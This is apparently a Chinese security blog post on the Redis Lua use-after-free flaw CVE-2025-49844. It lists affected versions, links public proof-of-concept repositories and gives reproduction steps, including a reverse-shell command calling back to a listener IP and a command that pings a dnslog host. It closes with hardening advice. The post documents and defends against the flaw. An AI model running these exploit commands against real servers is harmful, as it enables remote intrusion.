Redis 远程代码执行漏洞CVE-2025-49844

Redis 远程代码执行漏洞CVE-2025-49844

_

漏洞详情

Redis 是一个开源的使用 ANSI C 语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value 数据库,并提供多种语言的 API。
据官方描述,在 Redis 的 Lua 脚本引擎的垃圾回收机制中存在 Use After Free 漏洞,经过身份验证的远程攻击者可通过构造特殊的 Lua 脚本触发,从而最终可能导致远程任意代码的执行等。
注:所有使用 Lua 脚本的 Redis 都受该漏洞影响。

影响版本
Redis < 6.2.20
Redis < 7.2.11
Redis < 7.4.6
Redis < 8.0.4
Redis < 8.2.2

安全版本
Redis >= 6.2.20
Redis >= 7.2.11
Redis >= 7.4.6
Redis >= 8.0.4
Redis >= 8.2.2

漏洞复现

漏洞复现poc
https://github.com/hzhsec/redis-cve.git
目前只找到支持这两个镜像的poc

  • x86-64 Linux redis:8.2.1-alpine Docker image
  • x86-64 Linux redis:8.2.1-bookworm Docker image

1.复现环境

镜像拉取
docker run -d -p 6379:6379 redis:8.2.1-alpine

2.漏洞脚本获取

git clone https://github.com/saneki/cve-2025-49844.git

3.利用

cd cve-2025-49844
同步依赖
uv sync

反弹命令执行

uv run cve-2025-49844 --target-host 192.168.41.128 --target-port 6379 rshell -l 10.22.167.164 -p 4444


单命令执行

uv run cve-2025-49844  --target-host 192.168.41.128 --target-port 6379 command "ping qanctw.dnslog.cn"

修复建议

  1. 官方已发布漏洞补丁及修复版本,请评估业务是否受影响后,升级至安全版本
    https://github.com/redis/redis/releases
  2. 缓解措施:
  • 阻止用户执行 Lua 脚本:可通过访问控制列表同时限制普通用户执行 EVAL 和 EVALSHA 命令进行缓解。
  • 编辑配置文件
/etc/redis/redis.conf
  • 启用认证
requirepass your_strong_password_here
  • 限制网络访问
bind 127.0.0.1 ::1
protected-mode yes
  • 禁用危险命令
rename-command FLUSHDB ""

rename-command FLUSHALL ""

rename-command CONFIG ""

rename-command EVAL ""

rename-command EVALSHA ""
  • 开启日志
loglevel notice
logfile /var/log/redis/redis-server.log
MongoDB漏洞复现(CVE-2025-14847) 2026-01-09
Spring4Shell CVE-2022-22965原理及复现 2026-01-09

评论区